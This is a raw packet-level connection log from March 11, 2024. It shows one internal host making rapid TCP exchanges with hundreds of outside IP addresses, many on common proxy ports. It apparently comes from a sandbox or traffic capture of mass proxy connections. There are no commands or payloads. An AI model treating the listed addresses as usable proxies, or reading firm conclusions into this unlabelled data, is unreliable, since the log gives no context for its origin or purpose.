Mar 11, 2024 18:36:45.982263088 CET	50800	80	192.168.2.8	104.27.37.131
Mar 11, 2024 18:36:45.982287884 CET	8090	49900	119.28.60.64	192.168.2.8
Mar 11, 2024 18:36:45.982300997 CET	1080	50371	202.162.219.10	192.168.2.8
Mar 11, 2024 18:36:45.982311010 CET	1080	50371	202.162.219.10	192.168.2.8
Mar 11, 2024 18:36:45.982383013 CET	50539	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:45.982388020 CET	49900	8090	192.168.2.8	119.28.60.64
Mar 11, 2024 18:36:45.982548952 CET	80	50795	172.67.181.12	192.168.2.8
Mar 11, 2024 18:36:45.982579947 CET	50371	1080	192.168.2.8	202.162.219.10
Mar 11, 2024 18:36:45.982599020 CET	80	50978	172.67.182.96	192.168.2.8
Mar 11, 2024 18:36:45.982639074 CET	80	50795	172.67.181.12	192.168.2.8
Mar 11, 2024 18:36:45.982799053 CET	41274	50164	162.241.158.204	192.168.2.8
Mar 11, 2024 18:36:45.982830048 CET	50978	80	192.168.2.8	172.67.182.96
Mar 11, 2024 18:36:45.983031988 CET	80	50795	172.67.181.12	192.168.2.8
Mar 11, 2024 18:36:45.983078957 CET	9002	50707	221.6.139.190	192.168.2.8
Mar 11, 2024 18:36:45.983143091 CET	50707	9002	192.168.2.8	221.6.139.190
Mar 11, 2024 18:36:45.983181000 CET	50795	80	192.168.2.8	172.67.181.12
Mar 11, 2024 18:36:45.984697104 CET	80	50804	89.31.143.12	192.168.2.8
Mar 11, 2024 18:36:45.984710932 CET	4145	50165	184.170.249.65	192.168.2.8
Mar 11, 2024 18:36:45.984757900 CET	80	50520	188.166.56.246	192.168.2.8
Mar 11, 2024 18:36:45.985028982 CET	50804	80	192.168.2.8	89.31.143.12
Mar 11, 2024 18:36:45.986037016 CET	20001	50936	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:45.987529993 CET	50090	8080	192.168.2.8	103.81.115.210
Mar 11, 2024 18:36:45.987536907 CET	50094	80	192.168.2.8	190.128.241.102
Mar 11, 2024 18:36:45.987536907 CET	50258	8000	192.168.2.8	128.199.252.41
Mar 11, 2024 18:36:45.987541914 CET	50192	8089	192.168.2.8	114.232.109.43
Mar 11, 2024 18:36:45.987544060 CET	50177	3129	192.168.2.8	20.204.214.79
Mar 11, 2024 18:36:45.987601995 CET	50105	8899	192.168.2.8	66.228.140.209
Mar 11, 2024 18:36:45.987603903 CET	50468	3128	192.168.2.8	18.135.211.182
Mar 11, 2024 18:36:45.987603903 CET	50087	999	192.168.2.8	186.24.9.114
Mar 11, 2024 18:36:45.987622976 CET	50095	1088	192.168.2.8	117.202.20.69
Mar 11, 2024 18:36:45.987631083 CET	50091	80	192.168.2.8	146.70.80.76
Mar 11, 2024 18:36:45.988497972 CET	50088	9002	192.168.2.8	111.59.4.88
Mar 11, 2024 18:36:45.988812923 CET	80	50835	104.16.241.204	192.168.2.8
Mar 11, 2024 18:36:45.988845110 CET	80	50835	104.16.241.204	192.168.2.8
Mar 11, 2024 18:36:45.989602089 CET	80	50835	104.16.241.204	192.168.2.8
Mar 11, 2024 18:36:45.989782095 CET	50835	80	192.168.2.8	104.16.241.204
Mar 11, 2024 18:36:45.993401051 CET	80	50866	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:45.993525028 CET	50866	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:45.994492054 CET	10363	50128	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:45.996084929 CET	1080	50698	103.140.205.133	192.168.2.8
Mar 11, 2024 18:36:45.996143103 CET	59623	50781	62.182.114.164	192.168.2.8
Mar 11, 2024 18:36:45.998564005 CET	3629	50826	177.86.64.1	192.168.2.8
Mar 11, 2024 18:36:45.998759031 CET	4145	50965	199.58.185.9	192.168.2.8
Mar 11, 2024 18:36:45.999020100 CET	80	50471	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.999517918 CET	3128	49966	35.237.210.215	192.168.2.8
Mar 11, 2024 18:36:45.999655008 CET	80	50471	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.999664068 CET	49966	3128	192.168.2.8	35.237.210.215
Mar 11, 2024 18:36:45.999701977 CET	80	50471	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.999907970 CET	50471	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:46.000552893 CET	80	50676	172.67.181.97	192.168.2.8
Mar 11, 2024 18:36:46.000623941 CET	80	50415	133.232.90.96	192.168.2.8
Mar 11, 2024 18:36:46.000638008 CET	38817	50807	77.48.23.181	192.168.2.8
Mar 11, 2024 18:36:46.002568960 CET	80	50415	133.232.90.96	192.168.2.8
Mar 11, 2024 18:36:46.002954006 CET	8080	50850	46.105.35.193	192.168.2.8
Mar 11, 2024 18:36:46.003113985 CET	49736	33590	192.168.2.8	85.120.30.66
Mar 11, 2024 18:36:46.003115892 CET	50096	5678	192.168.2.8	203.160.57.87
Mar 11, 2024 18:36:46.003119946 CET	50389	19599	192.168.2.8	67.43.227.228
Mar 11, 2024 18:36:46.003135920 CET	49817	26315	192.168.2.8	72.10.160.171
Mar 11, 2024 18:36:46.003135920 CET	50104	40975	192.168.2.8	146.59.18.246
Mar 11, 2024 18:36:46.003138065 CET	50099	53340	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:46.003139973 CET	50101	40080	192.168.2.8	67.213.212.50
Mar 11, 2024 18:36:46.003154039 CET	50279	24815	192.168.2.8	95.217.104.21
Mar 11, 2024 18:36:46.003154993 CET	50111	54924	192.168.2.8	67.213.210.118
Mar 11, 2024 18:36:46.003154993 CET	50116	8080	192.168.2.8	138.0.143.128
Mar 11, 2024 18:36:46.003154993 CET	50109	8080	192.168.2.8	159.112.141.44
Mar 11, 2024 18:36:46.003160954 CET	50115	3128	192.168.2.8	62.171.133.66
Mar 11, 2024 18:36:46.003160954 CET	50107	6022	192.168.2.8	186.215.87.194
Mar 11, 2024 18:36:46.003165960 CET	50296	44195	192.168.2.8	162.19.7.56
Mar 11, 2024 18:36:46.003524065 CET	80	50415	133.232.90.96	192.168.2.8
Mar 11, 2024 18:36:46.003626108 CET	50415	80	192.168.2.8	133.232.90.96
Mar 11, 2024 18:36:46.003843069 CET	80	50840	52.67.10.183	192.168.2.8
Mar 11, 2024 18:36:46.003948927 CET	50840	80	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:46.004061937 CET	47354	50756	67.213.212.49	192.168.2.8
Mar 11, 2024 18:36:46.004075050 CET	80	50870	47.242.234.237	192.168.2.8
Mar 11, 2024 18:36:46.004128933 CET	50870	80	192.168.2.8	47.242.234.237
Mar 11, 2024 18:36:46.004407883 CET	58386	50663	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:46.004498005 CET	50663	58386	192.168.2.8	5.44.42.115
Mar 11, 2024 18:36:46.005460978 CET	1080	49886	89.187.216.58	192.168.2.8
Mar 11, 2024 18:36:46.006127119 CET	49886	1080	192.168.2.8	89.187.216.58
Mar 11, 2024 18:36:46.006407022 CET	80	50881	50.174.145.12	192.168.2.8
Mar 11, 2024 18:36:46.008141041 CET	6005	50765	45.11.95.166	192.168.2.8
Mar 11, 2024 18:36:46.008318901 CET	50765	6005	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:46.011136055 CET	5034	50252	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:46.011147022 CET	5034	50252	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:46.011188030 CET	80	50512	51.75.74.18	192.168.2.8
Mar 11, 2024 18:36:46.011480093 CET	80	50512	51.75.74.18	192.168.2.8
Mar 11, 2024 18:36:46.011522055 CET	80	50512	51.75.74.18	192.168.2.8
Mar 11, 2024 18:36:46.011595964 CET	50512	80	192.168.2.8	51.75.74.18
Mar 11, 2024 18:36:46.013556957 CET	56581	50775	159.223.71.71	192.168.2.8
Mar 11, 2024 18:36:46.013659954 CET	3128	50439	59.15.28.76	192.168.2.8
Mar 11, 2024 18:36:46.013796091 CET	50775	56581	192.168.2.8	159.223.71.71
Mar 11, 2024 18:36:46.016130924 CET	9000	50878	122.116.150.2	192.168.2.8
Mar 11, 2024 18:36:46.016299009 CET	50878	9000	192.168.2.8	122.116.150.2
Mar 11, 2024 18:36:46.016326904 CET	4145	50270	142.54.237.34	192.168.2.8
Mar 11, 2024 18:36:46.017997026 CET	5000	50077	49.228.131.169	192.168.2.8
Mar 11, 2024 18:36:46.018114090 CET	12334	49754	194.4.50.91	192.168.2.8
Mar 11, 2024 18:36:46.018301964 CET	999	50618	45.65.138.48	192.168.2.8
Mar 11, 2024 18:36:46.018568039 CET	12334	50964	194.4.50.91	192.168.2.8
Mar 11, 2024 18:36:46.018598080 CET	4145	50669	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:46.018610001 CET	9764	50442	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:46.018692970 CET	50964	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:46.018698931 CET	9764	50959	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:46.018702030 CET	50669	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:46.018812895 CET	50959	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:46.018840075 CET	50089	56350	192.168.2.8	148.66.130.53
Mar 11, 2024 18:36:46.018842936 CET	50113	3629	192.168.2.8	81.12.104.43
Mar 11, 2024 18:36:46.018840075 CET	50110	8080	192.168.2.8	183.179.187.16
Mar 11, 2024 18:36:46.018861055 CET	50420	24543	192.168.2.8	209.159.153.19
Mar 11, 2024 18:36:46.018862009 CET	50285	8000	192.168.2.8	167.172.79.17
Mar 11, 2024 18:36:46.018866062 CET	50108	8080	192.168.2.8	103.167.68.77
Mar 11, 2024 18:36:46.018866062 CET	49896	45248	192.168.2.8	166.62.121.127
Mar 11, 2024 18:36:46.018877983 CET	49826	9039	192.168.2.8	67.43.227.228
Mar 11, 2024 18:36:46.018878937 CET	50112	9999	192.168.2.8	115.221.242.131
Mar 11, 2024 18:36:46.018878937 CET	50499	80	192.168.2.8	3.127.62.252
Mar 11, 2024 18:36:46.018879890 CET	49779	80	192.168.2.8	50.174.145.9
Mar 11, 2024 18:36:46.018889904 CET	50122	999	192.168.2.8	181.78.74.78
Mar 11, 2024 18:36:46.018913031 CET	50119	3128	192.168.2.8	155.50.213.149
Mar 11, 2024 18:36:46.018913984 CET	50120	50062	192.168.2.8	162.241.46.6
Mar 11, 2024 18:36:46.018918037 CET	50199	8080	192.168.2.8	46.209.54.102
Mar 11, 2024 18:36:46.018985987 CET	50124	10705	192.168.2.8	47.113.179.6
Mar 11, 2024 18:36:46.019262075 CET	5020	50428	176.192.65.34	192.168.2.8
Mar 11, 2024 18:36:46.019416094 CET	1080	50847	188.255.245.205	192.168.2.8
Mar 11, 2024 18:36:46.019490957 CET	9375	49724	92.204.134.38	192.168.2.8
Mar 11, 2024 18:36:46.019503117 CET	80	50552	198.44.255.3	192.168.2.8
Mar 11, 2024 18:36:46.019562960 CET	50552	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:46.019587994 CET	5020	50428	176.192.65.34	192.168.2.8
Mar 11, 2024 18:36:46.019781113 CET	80	50990	45.12.30.231	192.168.2.8
Mar 11, 2024 18:36:46.019857883 CET	50428	5020	192.168.2.8	176.192.65.34
Mar 11, 2024 18:36:46.019859076 CET	50990	80	192.168.2.8	45.12.30.231
Mar 11, 2024 18:36:46.020418882 CET	4145	50661	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:46.020523071 CET	4145	50661	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:46.022388935 CET	16379	50243	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:46.022589922 CET	80	50962	50.168.72.116	192.168.2.8
Mar 11, 2024 18:36:46.022816896 CET	4145	50806	185.169.181.25	192.168.2.8
Mar 11, 2024 18:36:46.024497032 CET	51021	45629	192.168.2.8	162.241.6.97
Mar 11, 2024 18:36:46.024534941 CET	16379	50894	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:46.024667978 CET	50894	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:46.026505947 CET	7302	50219	124.163.236.54	192.168.2.8
Mar 11, 2024 18:36:46.026715040 CET	8081	50762	178.141.249.246	192.168.2.8
Mar 11, 2024 18:36:46.026880026 CET	7302	50219	124.163.236.54	192.168.2.8
Mar 11, 2024 18:36:46.026968956 CET	7302	50219	124.163.236.54	192.168.2.8
Mar 11, 2024 18:36:46.027029037 CET	7302	50219	124.163.236.54	192.168.2.8
Mar 11, 2024 18:36:46.027048111 CET	50219	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:46.027209997 CET	50219	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:46.027664900 CET	51022	3128	192.168.2.8	140.227.204.70
Mar 11, 2024 18:36:46.027765036 CET	9090	50761	91.241.217.58	192.168.2.8
Mar 11, 2024 18:36:46.027848005 CET	50761	9090	192.168.2.8	91.241.217.58
Mar 11, 2024 18:36:46.028683901 CET	80	50896	50.217.226.42	192.168.2.8
Mar 11, 2024 18:36:46.028723955 CET	50468	3128	192.168.2.8	18.135.211.182
Mar 11, 2024 18:36:46.028769970 CET	50499	80	192.168.2.8	3.127.62.252
Mar 11, 2024 18:36:46.029613972 CET	50792	80	192.168.2.8	104.27.26.29
Mar 11, 2024 18:36:46.029738903 CET	4145	50817	103.210.35.40	192.168.2.8
Mar 11, 2024 18:36:46.030257940 CET	80	50552	198.44.255.3	192.168.2.8
Mar 11, 2024 18:36:46.030539036 CET	50767	80	192.168.2.8	123.110.158.236
Mar 11, 2024 18:36:46.031323910 CET	50800	80	192.168.2.8	104.27.37.131
Mar 11, 2024 18:36:46.031560898 CET	80	50686	104.25.42.178	192.168.2.8
Mar 11, 2024 18:36:46.031918049 CET	50539	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:46.033958912 CET	80	49775	50.239.72.18	192.168.2.8
Mar 11, 2024 18:36:46.033972025 CET	80	50693	104.19.225.70	192.168.2.8
Mar 11, 2024 18:36:46.034368992 CET	50315	3128	192.168.2.8	194.145.209.187
Mar 11, 2024 18:36:46.034374952 CET	50433	25491	192.168.2.8	67.43.227.230
Mar 11, 2024 18:36:46.034382105 CET	49834	80	192.168.2.8	50.172.218.160
Mar 11, 2024 18:36:46.034399986 CET	50131	55507	192.168.2.8	5.58.33.187
Mar 11, 2024 18:36:46.034400940 CET	50130	3129	192.168.2.8	45.134.80.222
Mar 11, 2024 18:36:46.034403086 CET	50137	1080	192.168.2.8	171.248.209.6
Mar 11, 2024 18:36:46.034404993 CET	50319	3128	192.168.2.8	46.101.102.134
Mar 11, 2024 18:36:46.034426928 CET	50138	999	192.168.2.8	177.234.194.226
Mar 11, 2024 18:36:46.034429073 CET	50148	8080	192.168.2.8	188.132.222.40
Mar 11, 2024 18:36:46.034430027 CET	50143	3128	192.168.2.8	194.186.35.70
Mar 11, 2024 18:36:46.034430981 CET	50145	63614	192.168.2.8	173.212.237.43
Mar 11, 2024 18:36:46.034430981 CET	50146	9898	192.168.2.8	213.165.168.190
Mar 11, 2024 18:36:46.034434080 CET	50126	8080	192.168.2.8	185.200.38.117
Mar 11, 2024 18:36:46.034434080 CET	50133	26552	192.168.2.8	161.97.173.78
Mar 11, 2024 18:36:46.034444094 CET	50142	20037	192.168.2.8	64.44.139.12
Mar 11, 2024 18:36:46.034677982 CET	32650	50823	103.216.51.36	192.168.2.8
Mar 11, 2024 18:36:46.034780979 CET	4145	50864	177.125.206.40	192.168.2.8
Mar 11, 2024 18:36:46.035007000 CET	22881	49757	208.109.14.49	192.168.2.8
Mar 11, 2024 18:36:46.035116911 CET	49757	22881	192.168.2.8	208.109.14.49
Mar 11, 2024 18:36:46.035584927 CET	1081	50544	5.252.23.220	192.168.2.8
Mar 11, 2024 18:36:46.035698891 CET	50544	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:46.035938025 CET	40351	49750	51.222.241.157	192.168.2.8
Mar 11, 2024 18:36:46.036041975 CET	80	50750	65.1.244.232	192.168.2.8
Mar 11, 2024 18:36:46.036135912 CET	64384	50915	195.154.43.221	192.168.2.8
Mar 11, 2024 18:36:46.036175966 CET	50750	80	192.168.2.8	65.1.244.232
Mar 11, 2024 18:36:46.036340952 CET	21777	50158	51.222.84.118	192.168.2.8
Mar 11, 2024 18:36:46.036458969 CET	80	49931	45.139.11.200	192.168.2.8
Mar 11, 2024 18:36:46.037343025 CET	1081	50544	5.252.23.220	192.168.2.8
Mar 11, 2024 18:36:46.037640095 CET	80	50884	106.14.255.124	192.168.2.8
Mar 11, 2024 18:36:46.037725925 CET	50884	80	192.168.2.8	106.14.255.124
Mar 11, 2024 18:36:46.038225889 CET	4145	50669	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:46.039896965 CET	4145	50857	82.137.244.59	192.168.2.8
Mar 11, 2024 18:36:46.043170929 CET	15673	50549	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:46.045059919 CET	8000	50868	128.199.184.169	192.168.2.8
Mar 11, 2024 18:36:46.045867920 CET	8089	50831	111.225.153.135	192.168.2.8
Mar 11, 2024 18:36:46.045989990 CET	16379	50620	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:46.046107054 CET	50620	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:46.046148062 CET	9002	50255	222.138.76.6	192.168.2.8
Mar 11, 2024 18:36:46.046555996 CET	16379	50620	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:46.047477961 CET	9002	50255	222.138.76.6	192.168.2.8
Mar 11, 2024 18:36:46.047512054 CET	9002	50255	222.138.76.6	192.168.2.8
Mar 11, 2024 18:36:46.047553062 CET	50255	9002	192.168.2.8	222.138.76.6
Mar 11, 2024 18:36:46.047610044 CET	50255	9002	192.168.2.8	222.138.76.6
Mar 11, 2024 18:36:46.047736883 CET	15673	50549	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:46.049971104 CET	4145	49808	184.181.217.194	192.168.2.8
Mar 11, 2024 18:36:46.049994946 CET	50370	80	192.168.2.8	50.173.140.149
Mar 11, 2024 18:36:46.049998045 CET	50069	8080	192.168.2.8	201.170.180.188
Mar 11, 2024 18:36:46.050012112 CET	49729	4145	192.168.2.8	152.32.78.24
Mar 11, 2024 18:36:46.050013065 CET	50139	5678	192.168.2.8	169.255.198.8
Mar 11, 2024 18:36:46.050015926 CET	50147	27234	192.168.2.8	179.125.51.54
Mar 11, 2024 18:36:46.050017118 CET	50141	8080	192.168.2.8	103.153.40.38
Mar 11, 2024 18:36:46.050017118 CET	50151	8888	192.168.2.8	36.134.91.82
Mar 11, 2024 18:36:46.050017118 CET	50152	3128	192.168.2.8	146.190.51.181
Mar 11, 2024 18:36:46.050017118 CET	50447	3335	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:46.050013065 CET	50150	34411	192.168.2.8	212.110.188.222
Mar 11, 2024 18:36:46.050017118 CET	50153	7183	192.168.2.8	132.148.245.247
Mar 11, 2024 18:36:46.050127029 CET	4145	49808	184.181.217.194	192.168.2.8
Mar 11, 2024 18:36:46.050772905 CET	4145	50996	199.102.104.70	192.168.2.8
Mar 11, 2024 18:36:46.052452087 CET	15673	50891	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:46.052560091 CET	50891	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:46.052877903 CET	6969	50893	95.217.222.213	192.168.2.8
Mar 11, 2024 18:36:46.052925110 CET	4145	50961	72.195.114.169	192.168.2.8
Mar 11, 2024 18:36:46.053126097 CET	50961	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:46.053368092 CET	51027	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:46.053369999 CET	51028	15303	192.168.2.8	184.178.172.5
Mar 11, 2024 18:36:46.053592920 CET	50371	1080	192.168.2.8	202.162.219.10
Mar 11, 2024 18:36:46.053647995 CET	49900	8090	192.168.2.8	119.28.60.64
Mar 11, 2024 18:36:46.053817034 CET	3128	50266	13.40.239.130	192.168.2.8
Mar 11, 2024 18:36:46.054090023 CET	50978	80	192.168.2.8	172.67.182.96
Mar 11, 2024 18:36:46.054348946 CET	50795	80	192.168.2.8	172.67.181.12
Mar 11, 2024 18:36:46.054476023 CET	51029	1080	192.168.2.8	202.162.219.10
Mar 11, 2024 18:36:46.055095911 CET	50707	9002	192.168.2.8	221.6.139.190
Mar 11, 2024 18:36:46.055219889 CET	50804	80	192.168.2.8	89.31.143.12
Mar 11, 2024 18:36:46.055351019 CET	50835	80	192.168.2.8	104.16.241.204
Mar 11, 2024 18:36:46.055605888 CET	999	50140	45.229.34.174	192.168.2.8
Mar 11, 2024 18:36:46.055627108 CET	50866	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:46.055835009 CET	50471	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:46.056233883 CET	49966	3128	192.168.2.8	35.237.210.215
Mar 11, 2024 18:36:46.056257963 CET	13477	50179	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.056286097 CET	50415	80	192.168.2.8	133.232.90.96
Mar 11, 2024 18:36:46.056461096 CET	30951	49751	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:46.056740046 CET	50840	80	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:46.056873083 CET	50870	80	192.168.2.8	47.242.234.237
Mar 11, 2024 18:36:46.057017088 CET	50663	58386	192.168.2.8	5.44.42.115
Mar 11, 2024 18:36:46.057193995 CET	49886	1080	192.168.2.8	89.187.216.58
Mar 11, 2024 18:36:46.057478905 CET	50765	6005	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:46.057933092 CET	50512	80	192.168.2.8	51.75.74.18
Mar 11, 2024 18:36:46.058403015 CET	51030	5034	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:46.058746099 CET	50775	56581	192.168.2.8	159.223.71.71
Mar 11, 2024 18:36:46.058773994 CET	8888	50541	31.43.158.108	192.168.2.8
Mar 11, 2024 18:36:46.058839083 CET	8888	50541	31.43.158.108	192.168.2.8
Mar 11, 2024 18:36:46.058870077 CET	50541	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:46.059000969 CET	50964	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:46.059055090 CET	50878	9000	192.168.2.8	122.116.150.2
Mar 11, 2024 18:36:46.059056044 CET	50669	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:46.059273005 CET	50959	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:46.059362888 CET	50552	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:46.060592890 CET	4145	50302	142.54.229.249	192.168.2.8
Mar 11, 2024 18:36:46.061644077 CET	4145	50874	101.109.251.42	192.168.2.8
Mar 11, 2024 18:36:46.065613985 CET	50154	9990	192.168.2.8	117.160.250.163
Mar 11, 2024 18:36:46.065614939 CET	50387	80	192.168.2.8	50.218.57.68
Mar 11, 2024 18:36:46.065613985 CET	49760	5678	192.168.2.8	178.212.51.79
Mar 11, 2024 18:36:46.065638065 CET	50339	64654	192.168.2.8	162.19.7.53
Mar 11, 2024 18:36:46.065638065 CET	49759	8123	192.168.2.8	20.24.43.214
Mar 11, 2024 18:36:46.066431046 CET	3128	50569	3.212.148.199	192.168.2.8
Mar 11, 2024 18:36:46.067116022 CET	50428	5020	192.168.2.8	176.192.65.34
Mar 11, 2024 18:36:46.067118883 CET	51031	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:46.068108082 CET	50990	80	192.168.2.8	45.12.30.231
Mar 11, 2024 18:36:46.068110943 CET	51032	5020	192.168.2.8	176.192.65.34
Mar 11, 2024 18:36:46.068449020 CET	8888	50256	3.25.234.175	192.168.2.8
Mar 11, 2024 18:36:46.069534063 CET	8080	49978	92.118.132.125	192.168.2.8
Mar 11, 2024 18:36:46.069730043 CET	15673	50809	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:46.069752932 CET	51033	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:46.069911003 CET	80	50917	47.93.121.200	192.168.2.8
Mar 11, 2024 18:36:46.069924116 CET	15673	50809	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:46.069998026 CET	50917	80	192.168.2.8	47.93.121.200
Mar 11, 2024 18:36:46.070036888 CET	30000	50203	161.97.74.176	192.168.2.8
Mar 11, 2024 18:36:46.070189953 CET	50894	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:46.070768118 CET	50219	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:46.071001053 CET	50761	9090	192.168.2.8	91.241.217.58
Mar 11, 2024 18:36:46.071345091 CET	50544	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:46.071862936 CET	80	50178	223.19.111.185	192.168.2.8
Mar 11, 2024 18:36:46.072233915 CET	51034	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:46.072572947 CET	50884	80	192.168.2.8	106.14.255.124
Mar 11, 2024 18:36:46.072575092 CET	50750	80	192.168.2.8	65.1.244.232
Mar 11, 2024 18:36:46.072813988 CET	50620	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:46.073693991 CET	50255	9002	192.168.2.8	222.138.76.6
Mar 11, 2024 18:36:46.073693991 CET	51035	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:46.073764086 CET	3128	50306	38.54.116.9	192.168.2.8
Mar 11, 2024 18:36:46.073895931 CET	80	51011	162.159.246.135	192.168.2.8
Mar 11, 2024 18:36:46.074563026 CET	8080	50811	115.96.208.124	192.168.2.8
Mar 11, 2024 18:36:46.074664116 CET	51011	80	192.168.2.8	162.159.246.135
Mar 11, 2024 18:36:46.074918985 CET	80	50926	162.159.241.5	192.168.2.8
Mar 11, 2024 18:36:46.074971914 CET	80	50926	162.159.241.5	192.168.2.8
Mar 11, 2024 18:36:46.075176954 CET	80	50926	162.159.241.5	192.168.2.8
Mar 11, 2024 18:36:46.075850964 CET	80	50719	104.22.50.220	192.168.2.8
Mar 11, 2024 18:36:46.075879097 CET	51036	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:46.075932980 CET	50926	80	192.168.2.8	162.159.241.5
Mar 11, 2024 18:36:46.076770067 CET	1974	49917	41.33.203.115	192.168.2.8
Mar 11, 2024 18:36:46.076798916 CET	51037	4145	192.168.2.8	184.181.217.194
Mar 11, 2024 18:36:46.076852083 CET	49917	1974	192.168.2.8	41.33.203.115
Mar 11, 2024 18:36:46.077116966 CET	50891	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:46.077939987 CET	50961	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:46.077940941 CET	50541	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:46.078448057 CET	51038	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:46.078701019 CET	51039	7497	192.168.2.8	51.178.51.28
Mar 11, 2024 18:36:46.079040051 CET	51040	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:46.079313993 CET	4145	51014	184.181.217.206	192.168.2.8
Mar 11, 2024 18:36:46.079464912 CET	50917	80	192.168.2.8	47.93.121.200
Mar 11, 2024 18:36:46.079493999 CET	51014	4145	192.168.2.8	184.181.217.206
Mar 11, 2024 18:36:46.079797029 CET	8000	50989	198.199.83.206	192.168.2.8
Mar 11, 2024 18:36:46.080203056 CET	51011	80	192.168.2.8	162.159.246.135
Mar 11, 2024 18:36:46.080203056 CET	50926	80	192.168.2.8	162.159.241.5
Mar 11, 2024 18:36:46.080264091 CET	50989	8000	192.168.2.8	198.199.83.206
Mar 11, 2024 18:36:46.080722094 CET	51041	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:46.081223965 CET	50397	41491	192.168.2.8	167.172.109.12
Mar 11, 2024 18:36:46.081224918 CET	50488	80	192.168.2.8	50.239.72.17
Mar 11, 2024 18:36:46.081224918 CET	50381	39452	192.168.2.8	167.172.109.12
Mar 11, 2024 18:36:46.081243992 CET	50223	80	192.168.2.8	195.23.57.78
Mar 11, 2024 18:36:46.081244946 CET	50161	57364	192.168.2.8	162.241.53.72
Mar 11, 2024 18:36:46.081244946 CET	50171	47036	192.168.2.8	83.151.4.172
Mar 11, 2024 18:36:46.081262112 CET	50160	8080	192.168.2.8	103.148.130.5
Mar 11, 2024 18:36:46.081263065 CET	50184	42072	192.168.2.8	208.109.14.49
Mar 11, 2024 18:36:46.081285954 CET	50175	5678	192.168.2.8	89.34.198.253
Mar 11, 2024 18:36:46.081285954 CET	50176	1337	192.168.2.8	185.217.136.67
Mar 11, 2024 18:36:46.081285954 CET	50162	3256	192.168.2.8	106.45.221.168
Mar 11, 2024 18:36:46.081285954 CET	50180	999	192.168.2.8	45.184.155.3
Mar 11, 2024 18:36:46.081335068 CET	50181	8080	192.168.2.8	185.208.102.62
Mar 11, 2024 18:36:46.081502914 CET	80	50963	50.169.118.209	192.168.2.8
Mar 11, 2024 18:36:46.082232952 CET	50989	8000	192.168.2.8	198.199.83.206
Mar 11, 2024 18:36:46.082236052 CET	4145	49858	184.170.249.65	192.168.2.8
Mar 11, 2024 18:36:46.082238913 CET	51042	3180	192.168.2.8	143.208.152.61
Mar 11, 2024 18:36:46.082381010 CET	49858	4145	192.168.2.8	184.170.249.65
Mar 11, 2024 18:36:46.083246946 CET	51043	18636	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:46.083264112 CET	51044	3128	192.168.2.8	45.159.189.244
Mar 11, 2024 18:36:46.083311081 CET	80	50923	39.108.227.108	192.168.2.8
